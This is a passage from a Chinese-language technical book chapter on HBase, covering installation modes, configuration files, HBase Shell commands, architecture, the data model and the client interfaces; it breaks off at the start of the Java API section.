安装Hadoop的时候，要注意HBase的版本。也就是说，需要注意Hadoop和HBase之间的版本关系，如果不匹配，很可能会影响HBase系统的稳定性。在HBase的lib目录下可以看到对应的Hadoop的JAR文件。默认情况下，HBase的lib文件夹下对应的Hadoop版本相对稳定。如果用户想要使用其他的Hadoop版本，那么需要将Hadoop系统安装目录hadoop-*.*.*-core.jar文件和hadoop-*.*.*-test.jar文件复制到HBase的lib文件夹下，以替换其他版本的Hadoop文件。\n另外，如果读者想要对HBase的数据存储有更好的了解，建议查看关于HDFS的更多详细资料。此部分不是本章所关注的内容，故不再赘述。\n3）SSH：需要注意的是，SSH是必须安装的，并且要保证用户可以SSH到系统的其他节点（包括本地节点）。因为，我们需要使用Hadoop来管理远程Hadoop和HBase守护进程。\n关于其他外部条件，我们可以在使用的过程中再具体配置，详细内容见12.2.2节。下面我们将具体介绍HBase在三种模式下的安装过程。\n1.单机模式安装\nHBase安装文件默认情况下是支持单机模式的，也就是说将HBase安装文件解压后就可以直接运行。在单机模式下，HBase并不使用HDFS。用户可以通过下面的命令将其解压：\ntar xfz hbase-0.92.1.tar.gz\ncd hbase-0.92.1\n在运行之前，建议用户修改${HBase-Dir}/conf/hbase-site.xml文件。此文件是HBase的配置文件，通过它可以更改HBase的基本配置。另外还有一个文件为hbase-default.xml，它是HBase的默认配置文件。我们可以通过这两个文件中的任意一个来修改HBase的配置参数，并且它们二者的配置方法也完全相同。但是同样一个参数如果在hbase-site.xml中配置了，那么它就会覆盖掉hbase-default.xml中的同一个配置。也就是说，同样一个配置参数，hbase-site.xml中的配置将发挥作用。建议用户修改hbase-site.xml中的配置，而hbase-default.xml中的配置默认保持不变，这样当hbase-site.xml中配置错误时，其默认配置可以保证用户能够快速地对Hbase配置进行恢复。例如，需要修改的内容如下所示：\n＜configuration＞\n＜property＞\n＜name＞hbase.rootdir＜/name＞\n＜value＞file：///tmp/hbase-${user.name}/hbase＜/value＞\n＜/property＞\n＜/configuration＞\n从上面可以看到，默认情况下HBase的数据是存储在根目录的tmp文件夹下的。熟悉Linux的用户知道，此文件夹为临时文件夹。也就是说，当系统重启的时候，此文件夹中的内容将被清空。这样用户保存在HBase中的数据也会丢失，这当然是用户不想看到的事情。因此，用户需要将HBase数据的存储位置修改为自己希望的存储位置。\n2.伪分布模式安装\n伪分布模式是一个运行在单个节点（单台机器）上的分布式模式，此种模式下HBase所有的守护进程将运行在同一个节点之上。由于分布式模式的运行需要依赖于分布式文件系统，因此此时必须确保HDFS已经成功运行。用户可以在HDFS系统上执行Put和Get操作来验证HDFS是否安装成功。关于HDFS集群的安装，请读者参看其他章节的介绍。\n一切准备就绪后，我们开始配置HBase的参数（即配置hbase-site.xml文档）。通过设定hbase.rootdir参数来指定HBase的数据存放位置，进而让HBase运行在Hadoop之上，如图12-1所示。具体配置如下所示：\n＜configuration＞\n……\n＜property＞\n＜name＞hbase.rootdir＜/name＞\n＜value＞hdfs：//localhost：9000/hbase＜/value＞\n＜description＞此参数指定了HReion服务器的位置，即数据存放位置。\n＜/description＞\n＜/property＞\n＜property＞\n＜name＞dfs.replication＜/name＞\n＜value＞1＜/value＞\n＜description＞此参数指定了Hlog和Hfile的副本个数，此参数的设置不能大于HDFS的节点数。伪\n分布模式下DataNode只有一台，因此此参数应设置为1。\n＜/description＞\n＜/property＞\n……\n＜/configuration＞\n注意 hbase.rootdir指定的目录需要Hadoop自己创建，否则可能出现警告提示。由于目录为空，HBase在检查目录时可能会报所需要的文件不存在的错误。\n3.完全分布模式安装\n对于完全分布式HBase的安装，我们需要通过hbase-site.xml文档来配置本机的HBase特性，通过hbase-env.sh来配置全局HBase集群系统的特性，也就是说每一台机器都可以通过hbase-env.sh来了解全局的HBase的某些特性。另外，各个HBase实例之间需要通过ZooKeeper来进行通信，因此我们还需要维护一个（一组）ZooKeeper系统。\n下面我们将以3台机器为例，介绍如何进行配置。3台机器的hosts配置如下所示：\n10.77.20.100 master\n10.77.20.101 slave1\n10.77.20.102 slave2\n假设我们已经配置完成Hadoop/HDFS和ZooKeeper\n[1]\n ，下面介绍HBase的配置。\n（1）conf/hbase-site. xml文件的配置\nhbase. rootdir和hbase.cluster.distributed两个参数的配置对于HBase来说是必需的。我们通过hbase.roodir来指定本台机器HBase的存储目录；通过hbase.cluster.distributed来说明其运行模式（true为全分布模式，false为单机模式或伪分布模式）；另外hbase.master指定的是HBase的master的位置，hbase.zookeeper.quorum指定的是ZooKeeper集群的位置。如下所示为示例配置文档：\n＜configuration＞\n……\n＜property＞\n＜name＞hbase.rootdir＜/name＞\n＜/property＞\n＜property＞\n＜name＞hbase.cluster.distributed＜/name＞\n＜value＞true＜/value＞\n＜description＞指定HBase运行的模式：\nfalse：单机模式或伪分布模式\ntrue：完全分布模式\n＜/description＞\n＜/property＞\n＜property＞\n＜name＞hbase.master＜/name＞\n＜value＞hdfs：//master：60000＜/value＞\n＜description＞指定Master位置＜/description＞\n＜/property＞\n＜property＞\n＜name＞hbase.zookeeper.quorum＜/name＞\n＜value＞master, slave1，slave2＜/value＞\n＜description＞指定ZooKeeper集群＜/description＞\n＜/property＞\n……\n＜/configuration＞\n（2）conf/regionservers的配置\nregionservers文件列出了所有运行HBase RegionServer CHRegion Server的机器。此文件的配置和Hadoop的slaves文件十分类似，每一行指定一台机器。当HBase启动的时候，会将此文件中列出的所有机器启动；同样，当HBase关闭的时候，也会同时自动读取文件并将所有机器关闭。\n在我们的配置中，HBase Master及HDFS NameNode运行在hostname为Master的机器上，HBase RegionServers运行在master、slave1和slave2上。根据上述配置，我们只需将每台机器上HBase安装目录下的conf/regionservers文件的内容设置为：\nmaster\nslave1\nslave2\n另外，我们可以将HBase的Master和HRegionServer服务器分开。这样只需在上述配置文件中删除master一行即可。\n（3）ZooKeeper的配置\n完全分布式的HBase集群需要ZooKeeper实例运行，并且需要所有的HBase节点能够与ZooKeeper实例通信。默认情况下HBase自身维护着一组默认的ZooKeeper实例。不过，用户可以配置独立的ZooKeeper实例，这样能够使HBase系统更加健壮。\nconf/hbase-env. sh配置文档中HBASE_MANAGES_ZK的默认值为true，它表示HBase使用自身所带的ZooKeeper实例。但是，该实例只能为单机或伪分布模式下的HBase提供服务。当安装全分布模式时需要配置自己的ZooKeeper实例。在HBase-site.xml文档中配置了hbase.zookeeper.quorum属性后，系统将有限使用该属性所指定的ZooKeeper列表。此时，若HBASE_MANAGES_ZK变量值为true，那么在启动HBase时，Hbase将把ZooKeeper作为自身的一部分运行，其对应进程为“HQuorumPeer”；若该变量值为false，那么在启动HBase之前必须首先手动运行hbase.zookeeper.quorum属性所指定的ZooKeeper集群，其对应的进程将显示为QuorumPeerMain。\n关于Zookeeper的安装与配置详见第15章。\n若将ZooKeeper作为HBase的一部分来运行，那么当关闭HBase时Zookeeper将被自动关闭，否则需要手动停止ZooKeeper服务。\n[1]\n Hadoop和ZooKeeper的配置请参看本书相关章节。\n12.2.2 运行HBase\n前面说了，HBase有三种运行模式，不同模式下启动或停止HBase服务的步骤稍有不同，另外还有一些需要注意的事项。下面，我们将分情况具体讲解如何在三种模式下启动/停止HBase服务。\n1.单机模式\n单机模式下直接运行下面的命令即可：\nstart-hbase.sh\n启动成功后用户可以看到如图12-2所示的界面。\n图 12-2 启动HBase\n从图中可以看出，HBase首先启动成功后，通过jps命令可以查看到HMaster的进程。要停止HBase服务，直接在终端中输入下面的命令即可：\nstop-hbase.sh\n在停止过程中用户会看到如图12-3所示的界面。\n图 12-3 停止HBase\n下面我们查看HBase的存储目录，可以看到关于HBase的数据如图12-4所示：\n图 12-4 HBase数据存储目录\n2.伪分布模式\n由于伪分布模式的运行基于HDFS，因此在运行HBase之前首先需要启动HDFS。启动HDFS可以使用如下命令：\nstart-dfs. sh\n详细信息参见第9章的内容。\n这之后的其他步骤与单机模式相同，HBase启动成功后，可以通过jps查看此时系统java进程，如下图12-5所示。\n图 12-5 伪分布模式HBase的启动\n3.完全分布模式\n完全分布模式与伪分布模式相同，在运行HBase之前需要保证HDFS已经成功启动。此时，只需要在NameNode（即HBase Master）上运行start-hbase.sh即可。HBase的启动顺序为：HDFS-＞ZooKeeper-＞HBase。因此我们首先在运行ZooKeeper的机器上启动ZooKeeper服务。运行如下命令：\nzkServer.sh start\nZooKeeper运行成功后，机器上会出现QuorumPeerMain进程。图12-6所示为全分布模式HBase的启动过程，启动成功后通过JPS命令可以查看运行的QuorumPeerMain进程。\n图 12-6 完全分布模式HBase的启动\n进入HBase Shell，输入status命令，若看到如下结果，证明HBase安装成功。\nhbase（main）：001：0＞status\n3 servers，0 dead，0.6667 average load\n另外，当HBase运行后，通过jps命令可以查看系统进程：在Hbase配置文件—regionservers对应的机器上将会出现HRegionServer进程；在HBase配置文件—hbase-site.xml对应的Hbase.master对应的机器将出现HMaster进程；在HBase配置文件—hbase-site.xml对应的hbase.zookeeper.quorum机器列表将出现QuorumPeerMain/HQuorumPeer进程。\n12.2.3 HBase Shell\nHBase为用户提供了一个非常方便的使用方式，我们称之为HBase Shell。\nHBase Shell提供了大多数的HBase命令，通过HBase Shell用户可以方便地创建、删除及修改表，还可以向表中添加数据、列出表中的相关信息等。\n在启动HBase之后，用户可以通过下面的命令进入HBase Shell之中：\nhbase shell\n成功进入之后，用户会看到图12-7所示的界面。\n图 12-7 HBase Shell\n进入HBase Shell，输入help之后，可以获取HBase Shell所支持的命令，如表12-1所示。\n需要注意shutdown操作与exit操作之间的不同：shutdown表示关闭HBase服务，必须重新启动HBase才可以恢复；exit只是退出HBase shell，退出之后完全可以重新进入。\n下面，我们将详细介绍常用的HBase命令及其使用方法。\n（1）create\ncreate用于通过表名及用逗号分隔开的列族信息来创建表，操作如下：\n1）形式一：\nhbase＞create't1'，{NAME=＞'f1'，VERSIONS=＞5}\n2）形式二：\nhbase＞create't1'，{NAME=＞'f1'}，{NAME=＞'f2'}，{NAME=＞'f3'}\nhbase＞#\n上面的命令可以简写为下面所示的格式：\nhbase＞create't1'，'f1'，'f2'，'f3'\n3）形式三：\nhbase＞create't1'，{NAME=＞'f1'，VERSIONS=＞1，TTL=＞2592000，\nBLOCKCACHE=＞true}\n下面以“NAME=＞'f1'”为例具体说明，其中，列族参数的格式是：箭头左侧为参数变量，右侧为参数对应的值，并用“=＞”分开。\n（2）list\n通过list命令列出所有HBase中包含的表的名称，操作如下：\nhbase（main）：011：0＞list\nhbase_tb\ntest\n2 row（s）in 0.0160 secondshbase＞list\n（3）put\nput用于向指定的HBase表单元添加值，例如，向表t1的行r1、列c1：1添加值v1，并指定时间戳为ts的操作如下：\nhbase＞put't1'，'r1'，'c1：1'，'vl'，ts\n（4）scan\nscan用于获取指定表的相关信息，与create命令类似，可以通过逗号分隔的命令来指定扫描参数。\n例如，获取表test的所有值的操作如下：\nhbase（main）：001：0＞scan'test'\nROW COLUMN+CELL\nr1 column=c1：1，timestamp=1295692753859，value=value1-1/1\nr1 column=c1：2，timestamp=1295692662360，value=value1-1/2\nr1 column=c1：3，timestamp=1297476019872，value=value1-1/3\nr1 column=c2：1，timestamp=1297475967537，value=value1-2/1\n……\n获取表test的c1列的所有值的操作如下：\nhbase（main）：002：0＞scan'test'，{COLUMNS=＞'c1'}\nROW COLUMN+CELL\nr1 column=c1：1，timestamp=1295692753859，value=value1-1/1\nr1 column=c1：2，timestamp=1295692662360，value=value1-1/2\nr1 column=c1：3，timestamp=1297476019872，value=value1-1/3\nr2 column=c1：1，timestamp=1297476064414，value=value2-1/1\n2 row（s）in 0. 0100 seconds\n获取表test的c1列的前一行的所有值的操作如下：\nhbase（main）：012：0＞scan'test'，{COLUMNS=＞'c1'，LIMIT=＞1}\nROW COLUMN+CELL\nr1 column=c1：1，timestamp=1295692753859，value=value1-1/1\nr1 column=c1：2，timestamp=1295692662360，value=value1-1/2\nr1 column=c1：3，timestamp=1297476019872，value=value1-1/3\n1 row（s）in 0.0120 seconds\n（5）get\nget用于获取行或单元的值。此命令可以指定表名、行值，以及可选的列值和时间戳。\n获取表test行r1的值的操作如下：\nhbase（main）：002：0＞get'test'，'r1'\nCOLUMN CELL\nc1：1 timestamp=1295692753859，value=value1-1/1\nc1：2 timestamp=1295692662360，value=value1-1/2\nc1：3 timestamp=1297476019872，value=value1-1/3\nc2：1 timestamp=1297475967537，value=value1-2/1\nc2：2 timestamp=1297476039968，value=value1-2/2\n5 row（s）in 0.0450 seconds\n获取表test行r1列c1：1的值的操作如下：\nhbase（main）：005：0＞get'test'，'r1'，{COLUMN=＞'c1：1'}\nCOLUMN CELL\nc1：1 timestamp=1295692753859，value=value1-1/1\n1 row（s）in 0.0050 seconds\n需要注意的是，COLUMN和COLUMNS是不同的，scan操作中的COLUMNS指定的是表的列族，get操作中的COLUMN指定的是特定的列，COLUMN的值实质上为“列族+：+列修饰符”。\n另外，在shell中，常量不需要用引号括起来，但二进制的值需要用双引号括起来，而其他值则用单引号括起来。HBase Shell的常量可以通过在shell中输入“Object.constants”命令来查看。\n代码清单12-1所示是一个使用HBase Shell操作的具体例子。\n代码清单12-1 HBase Shell操作\nhbase（main）：004：0＞create'test'，'c1'，'c2'\n0 row（s）in 1.0620 seconds\nhbase（main）：005：0＞list\ntest\n1 row（s）in 0.0090 seconds\nhbase（main）：006：0＞put'test'，'r1'，'c1：1'，'value1-1/1'\n0 row（s）in 0.0050 seconds\nhbase（main）：007：0＞put'test'，'r1'，'c1：2'，'value1-1/2'\n0 row（s）in 0.0060 seconds\nhbase（main）：008：0＞put'test'，'r1'，'c1：3'，'value1-1/3'\n0 row（s）in 0.0110 seconds\nhbase（main）：009：0＞put'test'，'r1'，'c2：1'，'value1-2/1'\n0 row（s）in 0.0040 seconds\nhbase（main）：010：0＞put'test'，'r1'，'c2：2'，'value1-2/2'\n0 row（s）in 0.0030 seconds\nhbase（main）：011：0＞put'test'，'r2'，'c1：1'，'value2-1/1'\n0 row（s）in 0.0030 seconds\nhbase（main）：012：0＞put'test'，'r2'，'c2：1'，'value2-2/1'\n0 row（s）in 0.0040 seconds\nhbase（main）：013：0＞scan'test'\nROW COLUMN+CELL\nr1 column=c1：1，timestamp=1297513518032，value=value1-1/1\nr1 column=c1：2，timestamp=1297513531036，value=value1-1/2\nr1 column=c1：3，timestamp=1297513538344，value=value1-1/3\nr1 column=c2：1，timestamp=1297513553055，value=value1-2/1\nr1 column=c2：2，timestamp=1297513560121，value=value1-2/2\nr2 column=c1：1，timestamp=1297513580833，value=value2-1/1\nr2 column=c2：1，timestamp=1297513594789，value=value2-2/1\n2 row（s）in 0.0260 seconds\nhbase（main）：014：0＞get'test'，'r1'，{COLUMN=＞'c2：2'}\nCOLUMN CELL\nc2：2 timestamp=1297513560121，value=value1-2/2\n1 row（s）in 0.0140 seconds\nhbase（main）：015：0＞disable'test'\n0 row（s）in 0.0930 seconds\nhbase（main）：016：0＞drop'test'\n0 row（s）in 0.0770 seconds\nhbase（main）：017：0＞exit\n12.2.4 HBase配置\n关于HBase的所有配置参数，用户可以通过查看conf/hbase-default.xml文件获知。每个参数通过property节点来区分，其配置方式与Hadoop的相同：name字段表示参数名，value字段表示对应参数的值，description字段表示参数的描述信息，相当于注释的作用。\n配置参数的格式如下所示：\n＜configuration＞\n……\n＜property＞\n＜name＞配置参数＜/name＞\n＜value＞配置参数对应取值＜/value＞\n＜description＞描述信息＜/description＞\n＜/property＞\n……\n＜/configuration＞\n因此，如果要对HBase进行配置，修改conf/hbase-default.xml文件或conf/hbase-site.xml文件中的property节点即可（被＜property＞＜/peoperty＞所包含的部分）。\n限于篇幅，下面我们只针对比较重要的几个参数做简单的介绍。\n（1）hbase. client.write.buffer\n通过此参数设置写入缓冲区的数据大小，以字节为单位，默认写入缓冲区的数据大小为2MB。服务器通过此缓冲区可以加快处理的速度，但是此值如果设置得过大势必加重服务器的负担，因此一定要根据实际情况进行设置。\n（2）hbase. master.meta.thread.rescanfrequency\nHaster会扫描ROOT和META表的时间间隔，以毫秒为单位，默认值为60 000毫秒。此值不宜设置得过小，尤其当存储数据较多的时候，否则频繁地扫描ROOT和META表将严重影响系统的性能。\n（3）hbase. regionserver.handler.count\n客户端向服务器请求服务时，服务器先将客户端的请求连接放入一个队列中，然后服务器通过轮询的方式对其进行处理。这样每一个请求就会产生一个线程。此值要根据实际情况设置，建议设置得大一些。该值指出RegionServer上等待处理请求的实例数目，默认为10。在服务器端写数据缓存所消耗的内存大小为：hbase.client.write.buffer*hbase.regionserver.handler.count。\n（4）hbase. hregion.max.filesize\n通过此参数可以设置Hregion中Stove文件的最大值，以字节为单位。当表中的列族超过此值时，文件将被分割。其默认大小为256MB。\n（5）hfile. block.cache.size\n该参数表示HFile/StoreFile缓存所占Java虚拟机堆大小的百分比，默认值为0.2，即20%。将其值设置为0表示禁用此选项。\n（6）hbase. regionserver.global.memstore.upperLimit\n该参数表示在Region服务器中所有的memstore所占用的Java虚拟机比例的最大值，默认值为0.4，即40%。当memstore所占用的空间超过此值时，更新操作将被阻塞，并且所有的内容将被强制写出。\n（7）hbase. hregion.memstore.flush.size\n如果memstore缓存的内容大小超过此参数所设置的值，那么它将被写到磁盘上。该参数的默认值为64MB。\n另外，在配置文档中还有很多关于ZooKeeper配置的参数，如zookeeper.session.timeoout、以hbase.zookeeper开头的参数以及以hbase.zookeeper.property开头的一些参数。限于篇幅这里不再赘述，关于ZooKeeper更详细的配置见第15章。\n12.3 HBase体系结构\nHBase的服务器体系结构遵从简单的主从服务器架构，它由HRegion服务器（HRegion Server）群和HBase Master服务器（Hbase Master Server）构成。HBase Master服务器负责管理所有的HRegion服务器，而HBase中所有的服务器都是通过ZooKeeper来进行协调并处理HBase服务器运行期间可能遇到的错误。HBase Master服务器本身并不存储HBase中的任何数据，HBase逻辑上的表可能会被划分成多个HRegion，然后存储到HRegion服务器群中。HBase Maste服务器中存储的是从数据到HRegion服务器的映射。因此，HBase体系结构如图12-8所示。\n图 12-8 HBase体系结构\n 12.3.1 HRegion\n当表的大小超过设置值的时候，HBase会自动将表划分为不同的区域，每个区域包含所有行的一个子集。对用户来说，每个表是一堆数据的集合，靠主键来区分。从物理上来说，一张表是被拆分成了多块，每一块就是一个HRegion。我们用表名+开始/结束主键来区分每一个HRegion。一个HRegion会保存一个表里面某段连续的数据，从开始主键到结束主键，一张完整的表格是保存在多个HRegion上面的。\n12.3.2 HRegion服务器\n所有的数据库数据一般是保存在Hadoop分布式文件系统上面的，用户通过一系列HRegion服务器获取这些数据。一台机器上一般只运行一个HRegion服务器，而且每一个区段的HRegion也只会被一个HRegion服务器维护。\n图12-9所示为HRegion服务器体系结构。\nHRegion服务器包含两大部分：HLOG部分和HRegion部分。其中HLOG用来存储数据日志，采用的是先写日志的方式（Write-ahead log）。HRegion部分由很多的HRegion组成，存储的是实际的数据。每一个HRegion又由很多的Stroe组成，每一个Store存储的实际上是一个列族（ColumnFamily）下的数据。此外，在每一个HStore中有包含一块MemStore。MemStore驻留在内存中，数据到来时首先更新到MemStore中，当到达阈值之后再更新到对应的StoreFile（又名HFile）中。每一个Store包含了多个StoreFile, StoreFile负责的是实际数据存储，为HBase中最小的存储单元。\n图 12-9 HRegion服务器体系结构\nHBase中不涉及数据的直接删除和更新操作，所有的数据均通过追加的方式进行更新。数据的删除和更新在HBase合并（compact）的时候进行。当Store中StoreFile的数量超过设定的阈值时将触发合并操作，该操作会把多个StoreFile文件合并成一个StoreFile。\n当用户需要更新数据的时候，数据会被分配到对应的HRegion服务器上提交修改。数据首先被提交到HLog文件里面，在操作写入HLog之后，commit（）调用才会将其返回给客户端。HLog文件用于故障恢复。例如某一台HRegionServer发生故障，那么它所维护的HRegion会被重新分配到新的机器上。这时HLog会按照HRegion进行划分。新的机器在加载HRegion的时候可以通过HLog对数据进行恢复。\n当一个HRegion变得太过巨大、超过了设定的阈值时，HRegion服务器会调用HRegion.closeAndSplit（），将此HRegion拆分为两个，并且报告给主服务器让它决定由哪台HRegion服务器来存放新的HRegion。这个拆分过程十分迅速，因为两个新的HRegion最初只是保留原来HRegionFile文件的引用。这时旧的HRegion会处于停止服务的状态，当新的HRegion拆分完成并且把引用删除了以后，旧的HRegion才会删除。另外，两个HRegion可以通过调用HRegion.closeAndMerge（）合并成一个新的HRegion，当前版本下进行此操作需要两台HRegion服务器都停机。\n12.3.3 HBase Master服务器\n每台HRegion服务器都会和HMaster服务器通信，HMaster的主要任务就是告诉每个HRegion服务器它要维护哪些HRegion。\n当一台新的HRegion服务器登录到HMaster服务器时，HMaster会告诉它先等待分配数据。而当一台HRegion死机时，HMaster会把它负责的HRegion标记为未分配，然后再把它们分配到其他HRegion服务器中。\n如果当前HBase已经解决了之前存在的SPFO（单点故障），并且HBase中可以启动多个HMaster，那么它就能够通过ZooKeeper来保证系统中总有一个Master在运行。HMaster在功能上主要负责Table和HRegion的管理工作，具体包括：\n管理用户对Table的增、删、改、查操作；\n管理HRegion服务器的负载均衡，调整HRegion分布；\n在HRegion分裂后，负责新HRegion的分配；\n在HRegion服务器停机后，负责失效HRegion服务器上的HRegion迁移。\n12.3.4 ROOT表和META表\n在开始这部分内容之前，我们先来看一下HBase中相关的机制是怎样的。之前我们说过HRegion是按照表名和主键范围来区分的，由于主键范围是连续的，所以一般用开始主键就可以表示相应的HRegion了。\n不过，因为我们有合并和分割操作，如果正好在执行这些操作的过程中出现死机，那么就可能存在多份表名和开始主键相同的数据，这样的话只有开始主键就不够了，这就要通过HBase的元数据信息来区分哪一份才是正确的数据文件，为了区分这样的情况，每个HRegion都有一个'regionId'来标识它的唯一性。\n所以一个HRegion的表达符最后是：表名+开始主键+唯一ID（tablename+startkey+regionId）。我们可以用这个识别符来区分不同的HRegion，这些数据就是元数据（META），而元数据本身也是被保存在HRegion里面的，所以我们称这个表为元数据表（METATable），里面保存的就是HRegion标识符和实际HRegion服务器的映射关系。\n元数据表也会增长，并且可能被分割为几个HRegion，为了定位这些HRegion，我们采用一个根数据表（ROOT table），它保存了所有元数据表的位置，而根数据表是不能被分割的，永远只存在一个HRegion。\n在HBase启动的时候，主服务器先去扫描根数据表，因为这个表只会有一个HRegion，所以这个HRegion的名字是被写死的。当然要把根数据表分配到一个HRegion服务器中需要一定的时间。\n当根数据表被分配好之后，主服务器就会扫描根数据表，获取元数据表的名字和位置，然后把元数据表分配到不同的HRegion服务器中。最后就是扫描元数据表，找到所有HRegion区域的信息，把它们分配给不同的HRegion服务器。\n主服务器在内存中保存着当前活跃的HRegion服务器的数据，因此如果主服务器死机，整个系统也就无法访问了，这时服务器的信息也就没有必要保存到文件里面了。\n元数据表和根数据表的每一行都包含一个列族（info列族）：\ninfo：regioninfo包含了一个串行化的HRegionInfo对象。\ninfo：server保存了一个字符串，是服务器的地址HServerAddress.toString（）。\ninfo：startcode是一个长整型的数字字符串，它是在HRegion服务器启动的时候传给主服务器的，让主服务器确定这个HRegion服务器的信息有没有更改。\n因此，当一个客户端拿到根数据表地址以后，就没有必要再连接主服务器了，主服务器的负载相对就小了很多。它只会处理超时的HRegion服务器，并在启动的时候扫描根数据表和元数据表，以及返回根数据表的HRegion服务器地址。\n注意 ROOT表包含META表所在的区域列表，META表包含所有的用户空间区域列表，以及Region服务器地址。客户端能够缓存所有已知的ROOT表和META表，从而提高访问的效率。\n12.3.5 ZooKeeper\nZooKeeper存储的是HBase中ROOT表和META表的位置。此外，ZooKeeper还负责监控各个机器的状态（每台机器到ZooKeeper中注册一个实例）。当某台机器发生故障的时候，ZooKeeper会第一时间感知到，并通知HBase Master进行相应的处理。同时，当HBase Master发生故障的时候，ZooKeeper还负责HBase Master的恢复工作，能够保证在同一时刻系统中只有一台HBase Master提供服务。\n12.4 HBase数据模型\n 12.4.1 数据模型\nHBase是一个类似Bigtable的分布式数据库，它是一个稀疏的长期存储的（存在硬盘上）、多维度的、排序的映射表。这张表的索引是行关键字、列关键字和时间戳。HBase中的数据都是字符串，没有类型。\n用户在表格中存储数据，每一行都有一个可排序的主键和任意多的列。由于是稀疏存储，同一张表里面的每一行数据都可以有截然不同的列。\n列名字的格式是\"＜family＞：＜qualifier＞\"，都是由字符串组成的。每一张表有一个列族集合，这个集合是固定不变的，只能通过改变表结构来改变。但是qualifier值相对于每一行来说都是可以改变的。\nHBase把同一个列族里面的数据存储在同一个目录下，并且HBase的写操作是锁行的，每一行都是一个原子元素，都可以加锁。\nHBase所有数据库的更新都有一个时间戳标记，每个更新都是一个新的版本，HBase会保留一定数量的版本，这个值是可以设定的。客户端可以选择获取距离某个时间点最近的版本单元的值，或者一次获取所有版本单元的值。\n12.4.2 概念视图\n我们可以将一个表想象成一个大的映射关系，通过行键、行键+时间戳或行键+列（列族：列修饰符），就可以定位特定数据。HBase是稀疏存储数据的，因此某些列可以是空白的，表12-2是对应12.2节中创建的test表的数据概念视图。\n从上表中可以看出，test表有r1和r2两行数据，并且有c1和c2两个列族。在r1中，列族c1有三条数据，列族c2有两条数据；在r2中，列族c1有一条数据，列族c2有一条数据。每一条数据对应的时间戳都用数字来表示，编号越大表示数据越旧，反之表示数据越新。\n12.4.3 物理视图\n虽然从概念视图来看每个表格是由很多行组成的，但是在物理存储上面，它是按照列来保存的，这一点在进行数据设计和程序开发的时候必须牢记。\n上面的概念视图在物理存储的时候应该表现成表12-3和表12-4所示的样子。\n需要注意的是，在概念视图上面有些列是空白的，这样的列实际上并不会被存储，当请求这些空白的单元格时，会返回null值。\n如果在查询的时候不提供时间戳，那么会返回距离现在最近的那一个版本的数据。因为在存储的时候，数据会按照时间戳来排序。\n12.5 HBase与RDBMS\nHBase就是这样一个基于列模式的映射数据库，它只能表示很简单的键-数据的映射关系，这大大简化了传统的关系数据库。与关系数据库相比，它有如下特点：\n数据类型：HBase只有简单的字符串类型，所有的类型都是交由用户自己处理的，它只保存字符串。而关系数据库有丰富的类型选择和存储方式。\n数据操作：HBase只有很简单的插入、查询、删除、清空等操作，表和表之间是分离的，没有复杂的表和表之间的关系，所以不能、也没有必要实现表和表之间的关联等操作。而传统的关系数据通常有各种各样的函数、连接操作。\n存储模式：HBase是基于列存储的，每个列族都由几个文件保存，不同列族的文件是分离的。传统的关系数据库是基于表格结构和行模式保存的。\n数据维护：确切地说，HBase的更新操作不应该叫做更新，虽然一个主键或列对应新的版本，但它的旧版本仍然会保留，所以它实际上是插入了新的数据，而不是传统关系数据库里面的替换修改。\n可伸缩性：HBases这类分布式数据库就是为了这个目的而开发出来的，所以它能够轻松地增加或减少（在硬件错误的时候）硬件数量，并且对错误的兼容性比较高。而传统的关系数据库通常需要增加中间层才能实现类似的功能。\n当前的关系数据库基本都是从20世纪70年代发展而来的，它们都具有ACID特性，并且拥有丰富的SQL语言，除此之外它们基本都有以下的特点：面向磁盘存储、带有索引结构、多线程访问、基于锁的同步访问机制、基于log记录的恢复机制等。\n而Bigtable和HBase这些基于列模式的分布式数据库，更适应海量存储和互联网应用的需求，灵活的分布式架构可以使其利用廉价的硬件设备组建一个大的数据仓库。互联网应用是以字符为基础的，而Bigtable和HBase就是针对这些应用而开发出来的数据库。\n由于HBase具有时间戳特性，所以它生来就特别适合开发wiki、archiveorg之类的服务，并且它原本就是作为搜索引擎的一部分开发出来的。\n12.6 HBase与HDFS\n伪分布模式和完全分布模式下的HBase运行基于HDFS文件系统。使用HDFS文件系统需要设置conf/hbase-site.xml文件，修改hbase.rootdir的值，并将其指向HDFS文件系统的位置。此外，HBase也可以使用其他的文件系统，不过此时需要重新设置hbase.rootdir参数的值。\n12.7 HBase客户端\nHBase客户端可以选择多种方式与HBase集群进行交互，最常用的方式为Java，除此之外还有Rest和Thrift接口。\n1.Java\nHBase是由Java编写的。在后面的章节中，我们将详细地向大家介绍HBase的Java API。用户可以通过丰富的Java API接口与HBase进行互操作，并执行各种相关操作。详细内容请见12.8节。\n2.Rest和Thrift接口\nHBase的Rest和Thrift接口支持XML、Protobuf和二进制数据编码等操作。\n（1）Rest\n用户可以通过下面的命令运行Rest：\nhbase-daemon.sh start rest\n运行成功后将显示如图12-10所示的画面：\n图 12-10 启动HBase Rest\n用户可以通过下面的命令停止Rest服务：\nhbase-daemon.sh stop rest\n停止过程如图12-11所示。\n图 12-11 停止HBase Rest\n（2）Thrift\n用户可以通过下面命令启动Thrift客户端，并与HBase进行通信：\nhbase-daemon.sh start thrift\n运行成功后将显示如图12-12所示的画面：\n图 12-12 启动HBase Thrift\n用户可以通过下面命令停止Thrift服务：\nhbase-daemon.sh stop thrift\n停止过程如图12-13所示：\n图 12-13 停止HBase Thrift\n12.8 Java API\n通过前面的内容读者已经了解到，HBase作为云环境中的数据库，与传统数据库相比拥有不同的特点。当前HBase的Java API已经比较完善了，从其涉及的内容来讲，大体包括：HBase自身的配置管理部分、Avro部分、HBase客户端部分、MapReduce部分、Rest部分、Thrift部分，ZooKeeper等。其中HBase自身的配置管理部分又包括：HBase配置、日志、IO、Master、Regionserver、replication，以及安全性。\n限于篇幅我们重点介绍与HBase数据存储管理相关的内容，其涉及的主要类包括：HBaseAdmin、HBaseConfiguration、HTable、HTableDescriptor、HColumnDescriptor、Put、Get和Scanner。关于Java API的详细内容，大家可以查看HBase官方网站的相关资料：http：//hbase.apache.org/apidocs/index.html。\n表12-5给我们描述了这几个相关类与对应的HBase数据模型之间的关系。\n下面我们将详细讲述这些类的功能，以及它们之间的相互关系。\n1.HBaseConfiguration\n关系：org.apache.hadoop.hbase.HBaseConfiguration\n作用：通过此类可以对HBase进行配置。\n包含的主要方法如表12-6所示。\n用法示例：\nConfiguration 